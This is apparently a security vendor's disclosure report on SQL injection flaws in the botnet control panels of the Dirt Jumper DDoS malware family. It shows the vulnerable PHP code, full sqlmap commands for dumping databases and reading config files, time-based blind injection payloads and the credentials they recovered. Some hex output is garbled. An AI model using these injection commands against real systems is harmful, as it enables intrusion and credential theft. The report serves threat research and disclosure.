



# **VULNERABILITY DISCLOSURE REPORT**

Vulnerabilities Identified within the Dirt Jumper DDoS Toolkit Family by PLXsert

#### **OVERVIEW**

This document examines recently discovered SQL injection vulnerabilities within the latest public variants of the Dirt Jumper Distributed Denial of Service (DDoS) Toolkit family. These vulnerabilities allow counter-attackers to obtain access to the Command and Control (C&C) database backend, and potentially access server-side files. These counter-attacks can lead to a complete compromise of the DDoS toolkit C&C by rival malicious actors, researchers, victims, law enforcement, and any other interested party in possession of a C&C identity. The Dirt Jumper family malware in this analysis includes Dirt Jumper v.3, Pandora and Di BoT.

The Dirt Jumper family of DDoS botnet kits was originally authored by an individual who uses the handle 'sokol.' Various versions of Dirt Jumper were sold privately and leaked to the public. PLXsert previously compiled a comprehensive threat advisory about Dirt Jumper v.3, which analyzes the communication protocols and denial of service attack types, as well as the underground economy that surrounds the Dirt Jumper toolkit.

As time has passed, variants of Dirt Jumper have become publicly available. Sokol may be creating and releasing updated versions of the toolkit, or other malicious actors may be making use of the Dirt Jumper source code to release modifications to the toolkit.

Construction of a new variant of Dirt Jumper is relatively easy, only requiring basic knowledge of Delphi, a basic understanding of PHP and MySQL, and US\$5,000 to purchase the Dirt Jumper builder source code. (In May 2012, PLXsert analysts identified a reputable individual on an underground forum who discussed the Dirt Jumper builder source code as being valued at approximately US\$5,000.)



Figure 1: The value of the Dirt Jumper builder source code is estimated at US\$5,000 on an underground forum.

The availability of the Dirt Jumper builder source code indicates that several authors are creating spin-off variants, yet continue to use the basic functions of the PHP/MySQL C&C web panel without major modifications beyond the graphical theme.

#### **VULNERABILITIES**

The authors of this malware overlooked security for critical portions of its toolkits. The weakest link within this malware family is the insecure coding practices used in the creation of the C&C panels. They are simple PHP/MySQL scripts that are pieced together to manage the infected bots.

In their review of the code for vulnerable functions, analysts were able to identify web application vulnerabilities within the C&C panels in the form of weak authentication mechanisms, file inclusion vulnerabilities, directory traversal vulnerabilities and SQL injections. These vulnerabilities can lead to compromise of the C&C web application, which may lead to a complete compromise of the C&C host server.

## **Dirt Jumper v3 variants**

• The following image is of the Dirt Jumper C&C panel:



## Vulnerable code - index.php, m\_d.php

This code is in the check-in file for infected Dirt Jumper bots. Notice the lack of input sanitization on mysql\_query.

```
include"core.php";
include"config.php";
if ($_POST['k']=='') {
    include"404.php";
}

$ip=$_POST['k'];
$ip2=$_SERVER['REMOTE_ADDR'];
$time=time();

mysql_query(" INSERT INTO `n` (`ip`,`n`)VALUES('$ip2','$time') ")
or die("Error");
mysql_query(" INSERT INTO `td`
(`ip`,`ip2`,`time`)VALUES('$ip','$ip2','$time')");
include "img.gif";
?>
```

# • Vulnerable parameter

When an infected bot communicates to the Dirt Jumper panel, the following POST request is sent:

POST /admin/index.php HTTP/1.0

k=[numerical bot id] <---- bot identifier, vulnerable SQL injectable parameter

# **Pandora**

• The following image is of the Pandora C&C panel:



# • Vulnerable Code - index.php

This code is from the check-in file for infected Pandora bots. Notice the similarities to Dirt Jumper and the same lack of input sanitization on mysql query.

```
<?
    include"core.php";
    include"config.php";
    $ip=$ GET['u'];
    if ($ip=='') {
       include"404.php";
    $ip2=$_SERVER['REMOTE_ADDR'];
    $time=time();
   mysql_query(" INSERT INTO `n` (`ip`, `n`)VALUES('$ip2','$time') ")
or die("Error");
   mysql_query(" INSERT INTO `td`
(`ip2`,`ip`,`time`)VALUES('$ip','$ip2','$time')");
    include"information.php";
    $URL = str replace('|',"\n",$URL);
if ($Thread==0) {$s=1;}else{$s=0;}
'[]'.$s.'|'.$mode.'|'.$Thread.'|'.$timeout.'|'.$timeouts.'|'.$URL;
?>
```

## Vulnerable parameter

When an infected bot connects back to the Pandora panel, the following 'ET' request is sent (Pandora sends a broken GET request due a coding error):

ET /pandora/?u=[alphanumeric hashed botid]  $\leftarrow$  unique bot identifier parameter is vulnerable to SQL injection

## Di BoT

• The following image is of the Di BoT C&C panel:



## • Vulnerable Code – diwar.php

This code is from Di-BoTNet gateway check-in for infected bots, diwar.php. Again, notice the similarity to the other kits, as well as the lack of input sanitization on mysql query.

## • Vulnerable parameter

When an infected bot communicates to the Di BoT panel, the following POST request is sent:

```
POST /dibot/diwar.php HTTP/1.0

k=[numerical bot id] <---- bot identifier, vulnerable SQL injectable parameter</pre>
```

## **TECHNICAL EXPLOITATION**

The following SQL Injection attack commands allow access to the GET request username, C&C username and password, and mysql db name, thus compromising each C&C module.

## **Dirt Jumper**

## SQL injection attack commands

## Dump the database name

The following SQLMap attack uses increased level and risk flags that result in more intense probing by using time-based SQL injection as a technique to obtain the MySQL database name.

```
./sqlmap.py --level=5 --risk=3 -u "http://www.evilsite.com/dj5/" -p k --data="k=" --technique=t --dbms=mysql --current-db
```

# Dump the contents of the Dump Dirt Jumper configuration file

The following SQLMap attack uses increased level and risk flags that result in more intense probing by using time-based SQL injection as a technique to obtain file contents of config.php, which will lead to complete C&C compromise.

```
./sqlmap.py --level=5 --risk=3 -u "http://www.evilsite.com/dj5/"
-p k --data="k=" --technique=t --dbms=mysql --file-
read="/var/www/html/evilsite.com/djv5/config.php"
```

#### Results

Current database dump

```
Place: POST
Parameter: k
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: k=12345' AND SLEEP(5) AND 'dHHE'='dHHE
---
current database: 'dirti'
```

Dirt Jumper configuration file

```
Place: POST
Parameter: k
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: k=12345' AND SLEEP(5) AND 'MdIp'='MdIp

[16:49:40] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL 5.0.11
[16:49:40] [INFO] fingerprinting the back-end DBMS operating system
[16:49:40] [INFO] fetching file: '/var/www/djv5/admin/config.php'
[16:49:40] [INFO] fetching file: '/var/www/djv5/admin/config.php'
[16:49:40] [INFO] fetching file: '/var/www/djv5/admin/config.php'
[16:49:40] [INFO] resumed: 3C3F7068700D000069572726F725F7265706F7274696E672830293B0D0A09246462686F73743D226C6F63
616C686F73742238D0D0A090A092F2A2055736572206A61746162613735202A2F0D0A09246457256E1.60653022726F6F742238D00A0D0A00A09
92F2A204461746162617365204E616065202A2F0D0A092464626E61.60653D22546A6C238B0D0A00D0A992F2A205613737776F7264204461
74616.261736520262D0A009245045270617373370F72643D22736164396620A2F0D0A092474554204C6F676996E202A2F0D0A0924A045545F6
C6F67696E3D2261640D696E2238D0D0A0D0A0092FA204C6F67696E202A2F0D0A092F2A20474554204C6F676996E202A2F0D0A092F2A2047657276616C3D225610A00092F7A203B0D0A0000A092F2A2047657276616C3D225610A00092470617373776F72643D2273616439662A617366396A61223B0D0A000A092F2A20496E74657276616C3D223B0D0A0092F3A20496F733776F72643D22736164399662202A2F3D0A0090997020A099E7A20496E74657276616C3D223B0D0A0092F3A2049F07332254697033213D2747272929207B0D0A09999666636C52343034E7706870223B0D0A0090666202828246970313D27497031229206F66522343034E7706870223B0D0A09966602288246656665673742C202456462756616D6522343034E7706870223B0D0A099090FD0D0A03996966630C756465223430342E706870223B0D0A09909DD0A03873E0D0A
78652278D0D0A099090D0D0A099060F7973716C5F7365666656574745F64622824646266616D65223430342E706870223B0D0A09909DD0A03873E0D0A
78677www/djv5/admin/config.php file saved to: '/pentest/database/sqlmap/output/127.0.0.1/files/_var_www_djv5
admin_config.php'
[16:49:40] [INFO] Fetched data logged to text files under '/pen
```

 The following image shows that the GET request username, C&C username and password, and mysql db have been extracted in plain text. The C&C is now compromised.

#### **Pandora**

- SQL injection attack commands
  - Dump the database name

The following SQLMap attack uses increased level and risk flags that result in more intense probing by using time-based SQL injection as a technique to obtain the MySQL database name.

```
./sqlmap.py -u "http://www.evilsite.com/pandora/index.php?u=1234" --random-agent --technique ts --dbms mysql -p u --current-db
```

Dump the contents of the Pandora configuration file

The following SQLMap attack uses increased level and risk flags that result in more intense probing using time-based SQL injection as a technique to obtain the file contents of config.php, which will lead to complete C&C compromise.

```
./sqlmap.py -u "http://www.evilsite.com/pandora/index.php?u=1234" --random-agent --technique ts --dbms mysql -p u --file-read="/var/www/pandora/config.php"
```

#### Results

Current database dump

```
Place: GET
Parameter: u
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: u=1234' AND SLEEP(5) AND 'GGmk'='GGmk

[18:57:26] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL 5.0.11
[18:57:26] [INFO] fetching current database
[18:57:26] [INFO] resumed: pandora
current database: 'pandora'
```

Pandora configuration file

```
[18:57:26] [INFO] fingerprinting the back-end DBMS operating system
[18:57:26] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please
wait..
[18:57:26] [INFO] the back-end DBMS operating system is Linux
[18:57:26] [INFO] fetching file: '/var/www/pandora/config.php'
[18:57:26] [WARNING] it is very important not to stress the network adapter's bandwidth during usage of time-b
sed queries
[18:57:40] [INFO] due to good response times you can try to adjust the time-delay to a more appropriate value
e.g. --time-sec=1)
3C3F7068700D0A096572726F725F7265706F7274696E672830293B0D0A09246462686F7374313D226C6F63616C686F7374223B0D0A0D0A
92F2A2055736572206461746162617365202A2F0D0A09246462756E616D65313D22726F674223B0D0ADD0A092F2A2040461746162617365
204E616D65202A2F0D0A092464626E616D65313D2270616E646F7261223B0D0ADD0A092F2A2050617373776F7264204461746162617365
7373313D22746F6F72223B0D0AD0P2F2A20474554204C6F67696E202A2F0D0A09244745545F6C6F67696E3
[21:24:41] [ERROR] invalid character detected. retrying. 6C6F67696E3D22616
[21:24:41] [WARNING] increasing time delay to 5 seconds
46D696E223B0D0AD0A092F2A2050617373776F72640202A2F0D0A092470617373776F72643D22726A6E7A68663133223B0D0A0D0A092F2
A20496E74657276616C20645566616756C45202873656329202A2F0D0A0924746960656F75745D36303B0D0A096966202824736F6B6F6C3
D3D22312229207B0D0A09092469703D245F5345525645525B2752454D4F54455F41444452275D3B0D0A0999666202824736F6B6F6C3
D3D22312229207B0D0A0909096D7973716C5F536F66E655637428246462686F7374312C20246462756E616D653122024646266616D6531293B0D0A
A09097D0D0A097D20656C7365207B0D0A0999696E36C7556465223430342E706870223B0D0A0997D0D0A3F3E0D0A
Avar/www/pandora/config.php file saved to: '/pentest/database/sqlmap/output/127.0.0.1/files/_var_www_pandora
a_config.php'

[01:05:59] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/127.0.0.1'
```

 The following image shows that the GET request username, C&C username and password, and mysql db have been extracted in plain text. The C&C is now compromised.

```
sqlmap# cat output/127.0.0.1/files/_var_www_pandora_config.php
error_reporting(0);
$dbhostl="localhost";
/* User database */
$dbunamel="root":
/* Database Name */
$dbnamel="pandora";
/* Password Database */
$dbpassl="toor";
 /* GET Login */
$GET_login="admin";
$login="admin";
/* Password */
$password="rjnzhf13";
/* Interval default (sec) */
$timeout=60:
if ($bdload!="1") {
mysql_connect($dbhost1, $dbuname1, $dbpass1) or include"404.php";
mysql_select_db($dbname1);
```

## Di BoT

- SQL injection attack commands
  - o Dump the database name

The following SQLMap attack uses increased level and risk flags that result in more intense probing using time-based SQL injection as a technique to obtain the MySQL database name.

```
./sqlmap.py -u "http://www.evilsite.com/di/diwar.php" --data "k=1234" -p k --random-agent --technique ts --dbms mysql --current-db
```

## Dump the contents of the Di BoT configuration file

The following SQLMap attack uses increased level and risk flags that result in more intense probing using time-based SQL injection as a technique to obtain the C&C config.php file.

```
./sqlmap.py -u "http://www.evilsite.com/di/diwar.php" --data "k=1234" -p k --random-agent --technique ts --dbms mysql --file-read="/var/www/di/config.php"
```

#### Results

Current database dump

```
Place: POST
Parameter: k
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: k=12345' AND SLEEP(5) AND 'UZKk'='UZKk
---

[20:28:57] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL 5.0.11
[20:28:57] [INFO] fetching current database
[20:28:57] [INFO] resumed: dibot
current database: 'dibot'
```

■ Di BoT configuration file

 The following image shows that the GET request username, C&C username and password, and mysql db have been extracted in plain text. The C&C is now compromised.

```
pentest/database/sqlmap# cat output/127.0.0.1/files/_var_www_di_config.php
error_reporting(0);
$dbhost="localhost";
/* User database */
$dbuname="root";
/* Database Name */
$dbname="dibot";
/* Password Database */
$dbpass="toor";
/* GET Login */
$GET_login="xakep";
/* Login */
$login="xakep";
/* Password */
$password="123123";
/* Interval */
$interval="60";
if ($sokol=="1") {
```

## **CONCLUSION**

It appears that the majority of effort put into developing these DDoS malware kits goes into the builders and binaries. The major focus seems to be on obfuscating the payload and/or making it polymorphic to avoid anti-virus (AV) detection, combined with ensuring that the malicious process remains hidden within Windows system processes to evade removal. As a result, significant security flaws leave the kits vulnerable.

#### **CONTRIBUTORS**

**PLXsert** 

## **About PLXsert**

PLXsert monitors malicious cyber threats globally and analyzes DDoS attacks using proprietary techniques and equipment. Through data forensics and post-attack analysis, PLXsert is able to build a global view of DDoS attacks, which is shared with customers and the security community. By identifying the sources and associated attributes of individual attacks, the PLXsert team helps organizations adopt best practices and make more informed, proactive decisions about DDoS threats.

## **About Prolexic**

Prolexic is the world's largest, most trusted Distributed Denial of Service (DDoS) mitigation provider. Able to absorb the largest and most complex attacks ever launched, Prolexic restores mission-critical Internet-facing infrastructures for global enterprises and government agencies within minutes. Ten of the world's largest banks and the leading companies in e-Commerce, SaaS, payment processing, travel/hospitality, gaming and other at-risk industries rely on Prolexic to protect their businesses. Founded in 2003 as the world's first in-the-cloud DDoS mitigation platform, Prolexic is headquartered in Hollywood, Florida and has scrubbing centers located in the Americas, Europe and Asia. To learn more about how Prolexic can stop DDoS attacks and protect your business, please visit <a href="https://www.prolexic.com">www.prolexic.com</a>, follow @Prolexic on <a href="mailto:Twitter">Twitter</a>, email <a href="mailto:sales@prolexic.com">sales@prolexic.com</a>, or call <a href="mailto:tales">tales@prolexic.com</a>, or call <a href="mailto:tales"